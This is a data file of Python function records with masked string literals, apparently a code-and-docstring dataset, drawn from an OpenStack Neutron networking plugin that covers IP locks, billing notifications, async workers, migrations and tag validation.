{"signature": "@webob.dec.wsgify(RequestClass=wsgi.Request)<EOL><INDENT>def __call__(self, req):<DEDENT>", "body": "resp = self._get_resp(req)<EOL>context = self._get_ctx(req)<EOL>if hasattr(context, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>json_body = json.loads(resp.body)<EOL>json_body['<STR_LIT>'] = context.async_job['<STR_LIT>']['<STR_LIT:id>']<EOL>resp.body = json.dumps(json_body)<EOL>resp.headers['<STR_LIT>'] = context.async_job['<STR_LIT>']['<STR_LIT:id>']<EOL><DEDENT>except ValueError:  <EOL><INDENT>return resp<EOL><DEDENT>except Exception as e:  <EOL><INDENT>LOG.error(\"<STR_LIT>\" % e)<EOL><DEDENT><DEDENT>return resp<EOL>", "docstring": "Attempts to put the job_id into the response body and header.", "id": "f10626:c0:m3"}
{"signature": "def delete_locks(context, network_ids, addresses):", "body": "addresses_no_longer_null_routed = _find_addresses_to_be_unlocked(<EOL>context, network_ids, addresses)<EOL>LOG.info(\"<STR_LIT>\",<EOL>len(addresses_no_longer_null_routed),<EOL>[addr.id for addr in addresses_no_longer_null_routed])<EOL>for address in addresses_no_longer_null_routed:<EOL><INDENT>lock_holder = None<EOL>try:<EOL><INDENT>lock_holder = db_api.lock_holder_find(<EOL>context, lock_id=address.lock_id, name=LOCK_NAME,<EOL>scope=db_api.ONE)<EOL>if lock_holder:<EOL><INDENT>db_api.lock_holder_delete(context, address, lock_holder)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\", lock_holder)<EOL>continue<EOL><DEDENT><DEDENT>context.session.flush()<EOL>", "docstring": "Deletes locks for each IP address that is no longer null-routed.", "id": "f10627:m6"}
{"signature": "def create_locks(context, network_ids, addresses):", "body": "for address in addresses:<EOL><INDENT>address_model = None<EOL>try:<EOL><INDENT>address_model = _find_or_create_address(<EOL>context, network_ids, address)<EOL>lock_holder = None<EOL>if address_model.lock_id:<EOL><INDENT>lock_holder = db_api.lock_holder_find(<EOL>context,<EOL>lock_id=address_model.lock_id, name=LOCK_NAME,<EOL>scope=db_api.ONE)<EOL><DEDENT>if not lock_holder:<EOL><INDENT>LOG.info(\"<STR_LIT>\",<EOL>address_model.address_readable,<EOL>address_model.id)<EOL>db_api.lock_holder_create(<EOL>context, address_model, name=LOCK_NAME, type=\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>LOG.exception(\"<STR_LIT>\",<EOL>address_model)<EOL>continue<EOL><DEDENT><DEDENT>context.session.flush()<EOL>", "docstring": "Creates locks for each IP address that is null-routed.\n\n    The function creates the IP address if it is not present in the database.", "id": "f10627:m8"}
{"signature": "def make_case2(context):", "body": "query = context.session.query(models.IPAddress)<EOL>period_start, period_end = billing.calc_periods()<EOL>ip_list = billing.build_full_day_ips(query, period_start, period_end)<EOL>import random<EOL>ind = random.randint(<NUM_LIT:0>, len(ip_list) - <NUM_LIT:1>)<EOL>address = ip_list[ind]<EOL>address.allocated_at = datetime.datetime.utcnow() -datetime.timedelta(days=<NUM_LIT:1>)<EOL>context.session.add(address)<EOL>context.session.flush()<EOL>", "docstring": "This is a helper method for testing.\n\n    When run with the current context, it will create a case 2 entries\n    in the database. See top of file for what case 2 is.", "id": "f10628:m0"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT:0>,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT:0>,<EOL>help='<STR_LIT>')<EOL>def main(notify, hour, minute):", "body": "<EOL>config_opts = ['<STR_LIT>', '<STR_LIT>']<EOL>config.init(config_opts)<EOL>network_strategy.STRATEGY.load()<EOL>billing.PUBLIC_NETWORK_ID = network_strategy.STRATEGY.get_public_net_id()<EOL>config.setup_logging()<EOL>context = neutron_context.get_admin_context()<EOL>query = context.session.query(models.IPAddress)<EOL>(period_start, period_end) = billing.calc_periods(hour, minute)<EOL>full_day_ips = billing.build_full_day_ips(query,<EOL>period_start,<EOL>period_end)<EOL>partial_day_ips = billing.build_partial_day_ips(query,<EOL>period_start,<EOL>period_end)<EOL>if notify:<EOL><INDENT>for ipaddress in full_day_ips:<EOL><INDENT>click.echo('<STR_LIT>'.format(period_start, period_end))<EOL>payload = billing.build_payload(ipaddress,<EOL>billing.IP_EXISTS,<EOL>start_time=period_start,<EOL>end_time=period_end)<EOL>billing.do_notify(context,<EOL>billing.IP_EXISTS,<EOL>payload)<EOL><DEDENT>for ipaddress in partial_day_ips:<EOL><INDENT>click.echo('<STR_LIT>'.format(period_start, period_end))<EOL>payload = billing.build_payload(ipaddress,<EOL>billing.IP_EXISTS,<EOL>start_time=ipaddress.allocated_at,<EOL>end_time=period_end)<EOL>billing.do_notify(context,<EOL>billing.IP_EXISTS,<EOL>payload)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>'.format(len(full_day_ips)))<EOL>for ipaddress in full_day_ips:<EOL><INDENT>pp(billing.build_payload(ipaddress,<EOL>billing.IP_EXISTS,<EOL>start_time=period_start,<EOL>end_time=period_end))<EOL><DEDENT>click.echo('<STR_LIT>')<EOL>click.echo('<STR_LIT>'.format(len(partial_day_ips)))<EOL>for ipaddress in partial_day_ips:<EOL><INDENT>pp(billing.build_payload(ipaddress,<EOL>billing.IP_EXISTS,<EOL>start_time=ipaddress.allocated_at,<EOL>end_time=period_end))<EOL><DEDENT><DEDENT>", "docstring": "Runs billing report. Optionally sends notifications to billing", "id": "f10628:m1"}
{"signature": "def _load_worker_plugin_with_module(self, module, version):", "body": "classes = inspect.getmembers(module, inspect.isclass)<EOL>loaded = <NUM_LIT:0><EOL>for cls_name, cls in classes:<EOL><INDENT>if hasattr(cls, '<STR_LIT>'):<EOL><INDENT>if version not in cls.versions:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT>if issubclass(cls, base_worker.QuarkAsyncPluginBase):<EOL><INDENT>LOG.debug(\"<STR_LIT>\" % cls_name)<EOL>plugin = cls()<EOL>self.plugins.append(plugin)<EOL>loaded += <NUM_LIT:1><EOL><DEDENT><DEDENT>LOG.debug(\"<STR_LIT>\" %<EOL>(len(classes), loaded))<EOL>", "docstring": "Instantiates worker plugins that have requsite properties.\n\n        The required properties are:\n        * must have PLUGIN_EP entrypoint registered (or it wouldn't be in the\n          list)\n        * must have class attribute versions (list) of supported RPC versions\n        * must subclass QuarkAsyncPluginBase", "id": "f10629:c0:m1"}
{"signature": "def _discover_via_entrypoints(self):", "body": "emgr = extension.ExtensionManager(PLUGIN_EP, invoke_on_load=False)<EOL>return ((ext.name, ext.plugin) for ext in emgr)<EOL>", "docstring": "Looks for modules with amtching entry points.", "id": "f10629:c0:m2"}
{"signature": "def _register_extensions(self, version):", "body": "for name, module in itertools.chain(self._discover_via_entrypoints()):<EOL><INDENT>self._load_worker_plugin_with_module(module, version)<EOL><DEDENT>", "docstring": "Loads plugins that match the PLUGIN_EP entrypoint.", "id": "f10629:c0:m3"}
{"signature": "def serve_rpc(self):", "body": "if cfg.CONF.QUARK_ASYNC.rpc_workers < <NUM_LIT:1>:<EOL><INDENT>cfg.CONF.set_override('<STR_LIT>', <NUM_LIT:1>, \"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>rpc = service.RpcWorker(self.plugins)<EOL>launcher = common_service.ProcessLauncher(CONF, wait_interval=<NUM_LIT:1.0>)<EOL>launcher.launch_service(rpc, workers=CONF.QUARK_ASYNC.rpc_workers)<EOL>return launcher<EOL><DEDENT>except Exception:<EOL><INDENT>with excutils.save_and_reraise_exception():<EOL><INDENT>LOG.exception(_LE('<STR_LIT>'<EOL>'<STR_LIT>'))<EOL><DEDENT><DEDENT>", "docstring": "Launches configured # of workers per loaded plugin.", "id": "f10629:c0:m4"}
{"signature": "def start_api_and_rpc_workers(self):", "body": "pool = eventlet.GreenPool()<EOL>quark_rpc = self.serve_rpc()<EOL>pool.spawn(quark_rpc.wait)<EOL>pool.waitall()<EOL>", "docstring": "Initializes eventlet and starts wait for workers to exit.\n\n        Spawns the workers returned from serve_rpc", "id": "f10629:c0:m5"}
{"signature": "def run(self):", "body": "self.start_api_and_rpc_workers()<EOL>", "docstring": "Start of async worker process.", "id": "f10629:c0:m6"}
{"signature": "def _populate_segment_allocation_range(self, sa_range):", "body": "<EOL>id_range = xrange(sa_range['<STR_LIT>'],<EOL>sa_range['<STR_LIT>'] + <NUM_LIT:1>)<EOL>sa_dicts = []<EOL>total = <NUM_LIT:0><EOL>for i in id_range:<EOL><INDENT>sa_dicts.append({<EOL>'<STR_LIT>': sa_range['<STR_LIT>'],<EOL>'<STR_LIT>': sa_range['<STR_LIT>'],<EOL>'<STR_LIT:id>': i,<EOL>'<STR_LIT>': sa_range['<STR_LIT:id>'],<EOL>'<STR_LIT>': True<EOL>})<EOL>total = total + <NUM_LIT:1><EOL><DEDENT>db_api.segment_allocation_range_populate_bulk(self.context, sa_dicts)<EOL>self.context.session.flush()<EOL>allocs = db_api.segment_allocation_find(<EOL>self.context, segment_allocation_range_id=sa_range['<STR_LIT:id>']).all()<EOL>self.assertEqual(len(allocs), len(id_range))<EOL>", "docstring": "Populate a given segment range.", "id": "f10649:c0:m2"}
{"signature": "def _create_segment_allocation_range(self, **kwargs):", "body": "sa_dict = self._make_segment_allocation_range_dict(**kwargs)<EOL>sa_range = db_api.segment_allocation_range_create(<EOL>self.context, **sa_dict)<EOL>self.context.session.flush()<EOL>self._populate_segment_allocation_range(sa_range)<EOL>return sa_range<EOL>", "docstring": "Create a segment allocation range in the database.", "id": "f10649:c0:m3"}
{"signature": "def _allocate_segment(self, sa_range, count=<NUM_LIT:1>):", "body": "allocs = []<EOL>for i in xrange(sa_range['<STR_LIT>'], sa_range['<STR_LIT>'] + count):<EOL><INDENT>filters = {<EOL>'<STR_LIT>': sa_range['<STR_LIT:id>'],<EOL>'<STR_LIT>': True<EOL>}<EOL>alloc = db_api.segment_allocation_find(<EOL>self.context, **filters).first()<EOL>if not alloc:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>update = {<EOL>'<STR_LIT>': False<EOL>}<EOL>allocs.append(<EOL>db_api.segment_allocation_update(<EOL>self.context, alloc, **update)<EOL>)<EOL>self.context.session.flush()<EOL><DEDENT>self.assertEqual(len(allocs), count)<EOL>return allocs<EOL>", "docstring": "Populate a given segment range.", "id": "f10649:c0:m4"}
{"signature": "def _sa_range_to_dict(self, sa_range, allocations=None):", "body": "size = (sa_range['<STR_LIT>'] + <NUM_LIT:1>) - sa_range['<STR_LIT>']<EOL>sa_range_dict = dict(sa_range)<EOL>sa_range_dict.pop('<STR_LIT>')<EOL>sa_range_dict['<STR_LIT:size>'] = size<EOL>if allocations is not None:<EOL><INDENT>sa_range_dict['<STR_LIT>'] = size - allocations<EOL><DEDENT>return sa_range_dict<EOL>", "docstring": "Helper to turn a model into a dict for assertions.", "id": "f10649:c0:m5"}
{"signature": "def _assert_tags(self, model, tags=None):", "body": "tags = tags if tags else []<EOL>expected_tags = (self.existing_tags + tags)<EOL>self.assertEqual(sorted(model.tags),<EOL>sorted(expected_tags))<EOL>", "docstring": "Assert given tags and already existing tags are present.", "id": "f10674:c3:m2"}
{"signature": "def get_used_ips(session, **kwargs):", "body": "LOG.debug(\"<STR_LIT>\")<EOL>with session.begin():<EOL><INDENT>query = session.query(<EOL>models.Subnet.segment_id,<EOL>func.count(models.IPAddress.address))<EOL>query = query.group_by(models.Subnet.segment_id)<EOL>query = _filter(query, **kwargs)<EOL>reuse_window = timeutils.utcnow() - datetime.timedelta(<EOL>seconds=cfg.CONF.QUARK.ipam_reuse_after)<EOL>query = query.outerjoin(<EOL>models.IPAddress,<EOL>and_(models.Subnet.id == models.IPAddress.subnet_id,<EOL>or_(not_(models.IPAddress.lock_id.is_(None)),<EOL>models.IPAddress._deallocated.is_(None),<EOL>models.IPAddress._deallocated == <NUM_LIT:0>,<EOL>models.IPAddress.deallocated_at > reuse_window)))<EOL>query = query.outerjoin(<EOL>models.IPPolicyCIDR,<EOL>and_(<EOL>models.Subnet.ip_policy_id == models.IPPolicyCIDR.ip_policy_id,<EOL>models.IPAddress.address >= models.IPPolicyCIDR.first_ip,<EOL>models.IPAddress.address <= models.IPPolicyCIDR.last_ip))<EOL>query = query.filter(or_(<EOL>models.IPAddress._deallocated.is_(None),<EOL>models.IPAddress._deallocated == <NUM_LIT:0>,<EOL>models.IPPolicyCIDR.id.is_(None)))<EOL>ret = ((segment_id, address_count)<EOL>for segment_id, address_count in query.all())<EOL>return dict(ret)<EOL><DEDENT>", "docstring": "Returns dictionary with keys segment_id and value used IPs count.\n\n    Used IP address count is determined by:\n    - allocated IPs\n    - deallocated IPs whose `deallocated_at` is within the `reuse_after`\n    window compared to the present time, excluding IPs that are accounted for\n    in the current IP policy (because IP policy is mutable and deallocated IPs\n    are not checked nor deleted on IP policy creation, thus deallocated IPs\n    that don't fit the current IP policy can exist in the neutron database).", "id": "f10695:m4"}
{"signature": "def get_unused_ips(session, used_ips_counts, **kwargs):", "body": "LOG.debug(\"<STR_LIT>\")<EOL>with session.begin():<EOL><INDENT>query = session.query(<EOL>models.Subnet.segment_id,<EOL>models.Subnet)<EOL>query = _filter(query, **kwargs)<EOL>query = query.group_by(models.Subnet.segment_id, models.Subnet.id)<EOL>ret = defaultdict(int)<EOL>for segment_id, subnet in query.all():<EOL><INDENT>net_size = netaddr.IPNetwork(subnet._cidr).size<EOL>ip_policy = subnet[\"<STR_LIT>\"] or {\"<STR_LIT:size>\": <NUM_LIT:0>}<EOL>ret[segment_id] += net_size - ip_policy[\"<STR_LIT:size>\"]<EOL><DEDENT>for segment_id in used_ips_counts:<EOL><INDENT>ret[segment_id] -= used_ips_counts[segment_id]<EOL><DEDENT>return ret<EOL><DEDENT>", "docstring": "Returns dictionary with key segment_id, and value unused IPs count.\n\n    Unused IP address count is determined by:\n    - adding subnet's cidr's size\n    - subtracting IP policy exclusions on subnet\n    - subtracting used ips per segment", "id": "f10695:m5"}
{"signature": "def get_inspector():", "body": "global _INSPECTOR<EOL>if _INSPECTOR:<EOL><INDENT>return _INSPECTOR<EOL><DEDENT>else:<EOL><INDENT>bind = op.get_bind()<EOL>_INSPECTOR = sa.engine.reflection.Inspector.from_engine(bind)<EOL><DEDENT>return _INSPECTOR<EOL>", "docstring": "Reuse inspector", "id": "f10710:m0"}
{"signature": "def get_columns(table):", "body": "inspector = get_inspector()<EOL>return inspector.get_columns(table)<EOL>", "docstring": "Returns list of columns for given table.", "id": "f10710:m2"}
{"signature": "def get_data():", "body": "output = []<EOL>tables = get_tables()<EOL>for table in tables:<EOL><INDENT>try:<EOL><INDENT>columns = get_columns(table)<EOL><DEDENT>except sa.exc.NoSuchTableError:<EOL><INDENT>continue<EOL><DEDENT>for column in columns:<EOL><INDENT>if column['<STR_LIT:name>'] == '<STR_LIT>':<EOL><INDENT>output.append((table, column))<EOL><DEDENT><DEDENT><DEDENT>return output<EOL>", "docstring": "Returns combined list of tuples: [(table, column)].\n\n    List is built, based on retrieved tables, where column with name\n    ``tenant_id`` exists.", "id": "f10710:m3"}
{"signature": "def downgrade():", "body": "with op.batch_alter_table(t2_name) as batch_op:<EOL><INDENT>batch_op.drop_column('<STR_LIT>')<EOL><DEDENT>with op.batch_alter_table(t1_name) as batch_op:<EOL><INDENT>batch_op.drop_column('<STR_LIT>')<EOL><DEDENT>", "docstring": "alexm: i believe this method is never called", "id": "f10718:m1"}
{"signature": "def run_migrations_offline():", "body": "context.configure(url=neutron_config.database.connection)<EOL>with context.begin_transaction():<EOL><INDENT>context.run_migrations()<EOL><DEDENT>", "docstring": "Run migrations in 'offline' mode.\n\n    This configures the context with just a URL\n    and not an Engine, though an Engine is acceptable\n    here as well.  By skipping the Engine creation\n    we don't even need a DBAPI to be available.\n\n    Calls to context.execute() here emit the given string to the\n    script output.", "id": "f10740:m0"}
{"signature": "def run_migrations_online():", "body": "engine = create_engine(<EOL>neutron_config.database.connection,<EOL>poolclass=pool.NullPool)<EOL>connection = engine.connect()<EOL>context.configure(<EOL>connection=connection,<EOL>target_metadata=target_metadata)<EOL>try:<EOL><INDENT>with context.begin_transaction():<EOL><INDENT>context.run_migrations()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>connection.close()<EOL><DEDENT>", "docstring": "Run migrations in 'online' mode.\n\n    In this scenario we need to create an Engine\n    and associate a connection with the context.", "id": "f10740:m1"}
{"signature": "@property<EOL><INDENT>def parent(self):<DEDENT>", "body": "return getattr(self, \"<STR_LIT>\" % self.discriminator)<EOL>", "docstring": "Return the parent object.", "id": "f10741:c1:m1"}
{"signature": "def sg_gather_associated_ports(context, group):", "body": "if not group:<EOL><INDENT>return None<EOL><DEDENT>if not hasattr(group, \"<STR_LIT>\") or len(group.ports) <= <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>return group.ports<EOL>", "docstring": "Gather all ports associated to security group.\n\n    Returns:\n    * list, or None", "id": "f10742:m62"}
{"signature": "def security_group_rule_update(context, rule, **kwargs):", "body": "rule.update(kwargs)<EOL>context.session.add(rule)<EOL>return rule<EOL>", "docstring": "Updates a security group rule.\n\n    NOTE(alexm) this is non-standard functionality.", "id": "f10742:m72"}
{"signature": "def segment_allocation_find(context, lock_mode=False, **filters):", "body": "range_ids = filters.pop(\"<STR_LIT>\", None)<EOL>query = context.session.query(models.SegmentAllocation)<EOL>if lock_mode:<EOL><INDENT>query = query.with_lockmode(\"<STR_LIT>\")<EOL><DEDENT>query = query.filter_by(**filters)<EOL>if range_ids:<EOL><INDENT>query.filter(<EOL>models.SegmentAllocation.segment_allocation_range_id.in_(<EOL>range_ids))<EOL><DEDENT>return query<EOL>", "docstring": "Query for segment allocations.", "id": "f10742:m89"}
{"signature": "def segment_allocation_range_populate_bulk(context, sa_dicts):", "body": "context.session.bulk_insert_mappings(<EOL>models.SegmentAllocation,<EOL>sa_dicts<EOL>)<EOL>", "docstring": "Bulk-insert deallocated segment allocations.\n\n    NOTE(morgabra): This is quite performant when populating large ranges,\n    but you don't get any ORM conveniences or protections here.", "id": "f10742:m91"}
{"signature": "@classmethod<EOL><INDENT>def get_name(cls):<DEDENT>", "body": "if not hasattr(cls, '<STR_LIT>'):<EOL><INDENT>raise NotImplementedError()<EOL><DEDENT>return cls.NAME<EOL>", "docstring": "API name of the tag.", "id": "f10743:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_prefix(cls):<DEDENT>", "body": "return \"<STR_LIT>\" % cls.get_name().upper()<EOL>", "docstring": "Tag 'key', saved in the database as <prefix>:<value>", "id": "f10743:c1:m1"}
{"signature": "def set(self, model, value):", "body": "self.validate(value)<EOL>self._pop(model)<EOL>value = self.serialize(value)<EOL>model.tags.append(value)<EOL>", "docstring": "Set tag on model object.", "id": "f10743:c1:m5"}
{"signature": "def get(self, model):", "body": "for tag in model.tags:<EOL><INDENT>if self.is_tag(tag):<EOL><INDENT>value = self.deserialize(tag)<EOL>try:<EOL><INDENT>self.validate(value)<EOL>return value<EOL><DEDENT>except TagValidationError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Get a matching valid tag off the model.", "id": "f10743:c1:m6"}
{"signature": "def _pop(self, model):", "body": "tags = []<EOL>for tag in model.tags:<EOL><INDENT>if self.is_tag(tag):<EOL><INDENT>tags.append(tag)<EOL><DEDENT><DEDENT>if tags:<EOL><INDENT>for tag in tags:<EOL><INDENT>model.tags.remove(tag)<EOL><DEDENT><DEDENT>return tags<EOL>", "docstring": "Pop all matching tags off the model and return them.", "id": "f10743:c1:m7"}
{"signature": "def pop(self, model):", "body": "tags = self._pop(model)<EOL>if tags:<EOL><INDENT>for tag in tags:<EOL><INDENT>value = self.deserialize(tag)<EOL>try:<EOL><INDENT>self.validate(value)<EOL>return value<EOL><DEDENT>except TagValidationError:<EOL><INDENT>continue<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Pop all matching tags off the port, return a valid one.", "id": "f10743:c1:m8"}
{"signature": "def is_tag(self, tag):", "body": "return tag[<NUM_LIT:0>:len(self.get_prefix())] == self.get_prefix()<EOL>", "docstring": "Is a given tag this type?", "id": "f10743:c1:m9"}
{"signature": "def has_tag(self, model):", "body": "for tag in model.tags:<EOL><INDENT>if self.is_tag(tag):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Does the given port have this tag?", "id": "f10743:c1:m10"}
{"signature": "def validate(self, value):", "body": "try:<EOL><INDENT>vlan_id_int = int(value)<EOL>assert vlan_id_int >= self.MIN_VLAN_ID<EOL>assert vlan_id_int <= self.MAX_VLAN_ID<EOL><DEDENT>except Exception:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % {'<STR_LIT>': value,<EOL>'<STR_LIT>': self.MIN_VLAN_ID,<EOL>'<STR_LIT>': self.MAX_VLAN_ID})<EOL>raise TagValidationError(value, msg)<EOL><DEDENT>return True<EOL>", "docstring": "Validates a VLAN ID.\n\n        :param value: The VLAN ID to validate against.\n        :raises TagValidationError: Raised if the VLAN ID is invalid.", "id": "f10743:c2:m0"}
{"signature": "def get_all(self, model):", "body": "tags = {}<EOL>for name, tag in self.tags.items():<EOL><INDENT>for mtag in model.tags:<EOL><INDENT>if tag.is_tag(mtag):<EOL><INDENT>tags[name] = tag.get(model)<EOL><DEDENT><DEDENT><DEDENT>return tags<EOL>", "docstring": "Get all known tags from a model.\n\n        Returns a dict of {<tag_name>:<tag_value>}.", "id": "f10743:c3:m0"}
{"signature": "def set_all(self, model, **tags):", "body": "for name, tag in self.tags.items():<EOL><INDENT>if name in tags:<EOL><INDENT>value = tags.pop(name)<EOL>if value:<EOL><INDENT>try:<EOL><INDENT>tag.set(model, value)<EOL><DEDENT>except TagValidationError as e:<EOL><INDENT>raise n_exc.BadRequest(<EOL>resource=\"<STR_LIT>\",<EOL>msg=\"<STR_LIT:%s>\" % (e.message))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Validate and set all known tags on a port.", "id": "f10743:c3:m1"}
{"signature": "def update_sg(self, context, sg, rule_id, action):", "body": "db_sg = db_api.security_group_find(context, id=sg, scope=db_api.ONE)<EOL>if not db_sg:<EOL><INDENT>return None<EOL><DEDENT>with context.session.begin():<EOL><INDENT>job_body = dict(action=\"<STR_LIT>\" % (action, rule_id),<EOL>resource_id=rule_id,<EOL>tenant_id=db_sg['<STR_LIT>'])<EOL>job_body = dict(job=job_body)<EOL>job = job_api.create_job(context.elevated(), job_body)<EOL>rpc_client = QuarkSGAsyncProducerClient()<EOL>try:<EOL><INDENT>rpc_client.populate_subtasks(context, sg, job['<STR_LIT:id>'])<EOL><DEDENT>except om_exc.MessagingTimeout:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>return {\"<STR_LIT>\": job['<STR_LIT:id>']}<EOL>", "docstring": "Begins the async update process.", "id": "f10744:c0:m0"}
{"signature": "def populate_subtasks(self, context, sg, parent_job_id):", "body": "db_sg = db_api.security_group_find(context, id=sg, scope=db_api.ONE)<EOL>if not db_sg:<EOL><INDENT>return None<EOL><DEDENT>ports = db_api.sg_gather_associated_ports(context, db_sg)<EOL>if len(ports) == <NUM_LIT:0>:<EOL><INDENT>return {\"<STR_LIT>\": <NUM_LIT:0>}<EOL><DEDENT>for port in ports:<EOL><INDENT>job_body = dict(action=\"<STR_LIT>\" % port['<STR_LIT:id>'],<EOL>tenant_id=db_sg['<STR_LIT>'],<EOL>resource_id=port['<STR_LIT:id>'],<EOL>parent_id=parent_job_id)<EOL>job_body = dict(job=job_body)<EOL>job = job_api.create_job(context.elevated(), job_body)<EOL>rpc_consumer = QuarkSGAsyncConsumerClient()<EOL>try:<EOL><INDENT>rpc_consumer.update_port(context, port['<STR_LIT:id>'], job['<STR_LIT:id>'])<EOL><DEDENT>except om_exc.MessagingTimeout:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Produces a list of ports to be updated async.", "id": "f10744:c3:m0"}
{"signature": "def update_ports_for_sg(self, context, portid, jobid):", "body": "port = db_api.port_find(context, id=portid, scope=db_api.ONE)<EOL>if not port:<EOL><INDENT>LOG.warning(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>net_driver = port_api._get_net_driver(port.network, port=port)<EOL>base_net_driver = port_api._get_net_driver(port.network)<EOL>sg_list = [sg for sg in port.security_groups]<EOL>success = False<EOL>error = None<EOL>retries = <NUM_LIT:3><EOL>retry_delay = <NUM_LIT:2><EOL>for retry in xrange(retries):<EOL><INDENT>try:<EOL><INDENT>net_driver.update_port(context, port_id=port[\"<STR_LIT>\"],<EOL>mac_address=port[\"<STR_LIT>\"],<EOL>device_id=port[\"<STR_LIT>\"],<EOL>base_net_driver=base_net_driver,<EOL>security_groups=sg_list)<EOL>success = True<EOL>error = None<EOL>break<EOL><DEDENT>except Exception as error:<EOL><INDENT>LOG.warning(\"<STR_LIT>\")<EOL>time.sleep(retry_delay)<EOL><DEDENT><DEDENT>status_str = \"<STR_LIT>\"<EOL>if not success:<EOL><INDENT>status_str = \"<STR_LIT>\" % (<EOL>portid, retries, error)<EOL><DEDENT>update_body = dict(completed=True, status=status_str)<EOL>update_body = dict(job=update_body)<EOL>job_api.update_job(context.elevated(), jobid, update_body)<EOL>", "docstring": "Updates the ports through redis.", "id": "f10744:c6:m0"}
{"signature": "def _setup_rpc(self):", "body": "self.endpoints.extend(self.callbacks)<EOL>", "docstring": "Registers callbacks to RPC assigned by subclasses.\n\n        This does nothing if the subclasses do not set callbacks value.", "id": "f10746:c0:m1"}
{"signature": "def start_rpc_listeners(self):", "body": "self._setup_rpc()<EOL>if not self.endpoints:<EOL><INDENT>return []<EOL><DEDENT>self.conn = n_rpc.create_connection()<EOL>self.conn.create_consumer(self.topic, self.endpoints,<EOL>fanout=False)<EOL>return self.conn.consume_in_threads()<EOL>", "docstring": "Configure all listeners here", "id": "f10746:c0:m2"}
{"signature": "@property<EOL><INDENT>def context(self):<DEDENT>", "body": "if not self._context:<EOL><INDENT>self._context = context.get_admin_context()<EOL><DEDENT>return self._context<EOL>", "docstring": "Provides an admin context for workers.", "id": "f10746:c0:m3"}
{"signature": "def do_notify(context, event_type, payload):", "body": "LOG.debug('<STR_LIT>'.format(payload))<EOL>notifier = n_rpc.get_notifier('<STR_LIT>')<EOL>notifier.info(context, event_type, payload)<EOL>", "docstring": "Generic Notifier.\n\n    Parameters:\n        - `context`: session context\n        - `event_type`: the event type to report, i.e. ip.usage\n        - `payload`: dict containing the payload to send", "id": "f10747:m0"}
{"signature": "@env.has_capability(env.Capabilities.IP_BILLING)<EOL>def notify(context, event_type, ipaddress, send_usage=False, *args, **kwargs):", "body": "if (event_type == IP_ADD and not CONF.QUARK.notify_ip_add) or(event_type == IP_DEL and not CONF.QUARK.notify_ip_delete) or(event_type == IP_ASSOC and not CONF.QUARK.notify_flip_associate) or(event_type == IP_DISASSOC and not CONF.QUARK.notify_flip_disassociate)or (event_type == IP_EXISTS and not CONF.QUARK.notify_ip_exists):<EOL><INDENT>LOG.debug('<STR_LIT>'.<EOL>format(event_type))<EOL>return<EOL><DEDENT>if '<STR_LIT>' in kwargs and kwargs['<STR_LIT>']:<EOL><INDENT>LOG.debug('<STR_LIT>')<EOL>return<EOL><DEDENT>ts = ipaddress.allocated_at if event_type == IP_ADD else _now()<EOL>payload = build_payload(ipaddress, event_type, event_time=ts)<EOL>do_notify(context, event_type, payload)<EOL>if send_usage:<EOL><INDENT>if ipaddress.allocated_at is not None andipaddress.allocated_at >= _midnight_today():<EOL><INDENT>start_time = ipaddress.allocated_at<EOL><DEDENT>else:<EOL><INDENT>start_time = _midnight_today()<EOL><DEDENT>payload = build_payload(ipaddress,<EOL>IP_EXISTS,<EOL>start_time=start_time,<EOL>end_time=ts)<EOL>do_notify(context, IP_EXISTS, payload)<EOL><DEDENT>", "docstring": "Method to send notifications.\n\n    We must send USAGE when a public IPv4 address is deallocated or a FLIP is\n    associated.\n    Parameters:\n        - `context`: the context for notifier\n        - `event_type`: the event type for IP allocate, deallocate, associate,\n        disassociate\n        - `ipaddress`: the ipaddress object to notify about\n    Returns:\n        nothing\n    Notes: this may live in the billing module", "id": "f10747:m1"}
{"signature": "def build_payload(ipaddress,<EOL>event_type,<EOL>event_time=None,<EOL>start_time=None,<EOL>end_time=None):", "body": "<EOL>payload = {<EOL>'<STR_LIT>': str(event_type),<EOL>'<STR_LIT>': str(ipaddress.used_by_tenant_id),<EOL>'<STR_LIT>': str(ipaddress.address_readable),<EOL>'<STR_LIT>': int(ipaddress.version),<EOL>'<STR_LIT>': str(ipaddress.address_type),<EOL>'<STR_LIT:id>': str(ipaddress.id)<EOL>}<EOL>if event_type == IP_EXISTS:<EOL><INDENT>if start_time is None or end_time is None:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>.format(event_type))<EOL><DEDENT>payload.update({<EOL>'<STR_LIT>': str(convert_timestamp(start_time)),<EOL>'<STR_LIT>': str(convert_timestamp(end_time))<EOL>})<EOL><DEDENT>elif event_type in [IP_ADD, IP_DEL, IP_ASSOC, IP_DISASSOC]:<EOL><INDENT>if event_time is None:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>.format(event_type))<EOL><DEDENT>payload.update({<EOL>'<STR_LIT>': str(convert_timestamp(event_time)),<EOL>'<STR_LIT>': str(ipaddress.subnet_id),<EOL>'<STR_LIT>': str(ipaddress.network_id),<EOL>'<STR_LIT>': True if 